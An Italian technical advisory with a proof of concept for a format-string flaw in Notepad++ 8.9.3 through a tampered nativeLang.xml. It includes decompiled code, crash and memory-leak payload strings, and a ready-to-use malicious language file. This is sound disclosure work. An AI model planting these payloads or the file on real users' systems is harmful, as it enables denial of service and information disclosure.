
Analisi tecnica e proof-of-concept per CVE-2026-3008, un'iniezione di stringa di formato in Notepad++ 8.9.3 tramite nativeLang.xml, che consente denial of service e divulgazione di informazioni.
Quando un'operazione di ricerca produce risultati, sub_1400916C0 formatta un'etichetta con il conteggio dei risultati recuperando una stringa localizzata da nativeLang.xml e passandola direttamente come stringa di formato a wsprintfW:
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196)); // get localized string
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
v38 = v51[0]; // SSO: heap pointer
wsprintfW((LPWSTR)(a1 + 0xC8), v38); // v38 is the format string
La stringa proviene dall'attributo <find-result-hits> in nativeLang.xml senza alcuna validazione in nessun punto del flusso di dati:
nativeLang.xml
→ Parser TinyXML (legge l'attributo XML, nessuna validazione del contenuto)
→ NativeLangSpeaker (conversione UTF-8 → UTF-16, nessuna validazione)
→ sub_140099E60 (sostituzione $INT_REPLACE$ — gli specificatori di formato sopravvivono)
→ wsprintfW(buf, v38) (v38 usato come argomento stringa di formato, non come dato)
wsprintfW viene chiamato con solo due argomenti — nessun argomento dati variadico. Qualsiasi specificatore di formato in v38 legge valori dagli slot degli argomenti della convenzione di chiamata x64 (R8, R9, stack), che contengono spazzatura residua dei registri.
| Campo | Valore |
|---|---|
| Funzione | sub_1400916C0 (inizializzatore del pannello Risultati di Ricerca) |
| Indirizzo sink | 0x140091E6D |
| Trigger | Qualsiasi ricerca che produce risultati (Trova Tutto, Trova nei File, Evidenzia Tutto, Sostituisci Tutto) |
sub_1400916C0 viene chiamata da quattro punti nel WndProc di FindResults (sub_140089BF0):
| Indirizzo | Trigger |
|---|---|
0x14008B63B | Trova nei File |
0x14008B72D | Trova Tutto nel Documento Corrente / Tutti i Documenti |
0x14008B97E | Sostituisci Tutto |
0x14008B9FE | Evidenzia Tutto |
%s (DoS)<find-result-hits value="%s%s%s%s%s%s%s%s"/>
Ogni %s interpreta un valore spazzatura di registro o stack come puntatore WCHAR*. Il primo indirizzo non valido innesca immediatamente una violazione di accesso (STATUS_ACCESS_VIOLATION, 0xC0000005). Notepad++ va in crash a ogni ricerca successiva finché il file dannoso non viene rimosso — DoS affidabile e immediato.
%08lx<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>
I contenuti di stack e registri vengono letti come valori DWORD e formattati in esadecimale, visibili nella scheda del pannello Risultati di Ricerca. Output osservato da un test dal vivo:
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0
Valori come 5852bb18 e 7b1052e0 sono frammenti troncati di puntatori a 64 bit.
wsprintfW (user32.dll) non supporta %n — non esiste una primitiva write-what-where. Il suo limite di output hardcoded di 1024 caratteri corrisponde esattamente alla dimensione del buffer di destinazione, escludendo un overflow del buffer heap. La vulnerabilità è confermata come DoS + divulgazione di informazioni. L'esecuzione di codice non è ottenibile tramite questa sola stringa di formato.
nativeLang.xml non esiste per impostazione predefinita — le installazioni in inglese non sono interessate. Quando un utente seleziona una lingua non inglese tramite Impostazioni → Preferenze → Generale → Localizzazione, Notepad++ scrive il file corrispondente in:
| Edizione | Percorso |
|---|---|
| Installer | %APPDATA%\Notepad++\nativeLang.xml |
| Portatile | <npp_directory>\nativeLang.xml |
Dei 94 file di localizzazione forniti, 43 contengono l'elemento <find-result-hits>. Gli utenti di quelle lingue sono vulnerabili se il loro nativeLang.xml viene manomesso — ad esempio, tramite un pacchetto linguistico comunitario dannoso distribuito attraverso forum o siti di download. L'attaccante può includere traduzioni legittime per tutte le altre stringhe, facendo apparire il file normale.
Posizionare il seguente file in <npp_directory>\nativeLang.xml (portatile) o %APPDATA%\Notepad++\nativeLang.xml (installer), quindi aprire Notepad++ ed eseguire qualsiasi ricerca che produca risultati (Ctrl+F → Trova Tutto nel Documento Corrente).
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
<Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
<Menu><Main></Main></Menu>
<MiscStrings>
<find-result-hits value="%s%s%s%s%s%s%s%s"/>
</MiscStrings>
</Native-Langue>
</NotepadPlus>
Risultato: Notepad++ va in crash immediatamente con una violazione di accesso in wsprintfW.
Varianti aggiuntive del payload sono nella directory payloads/.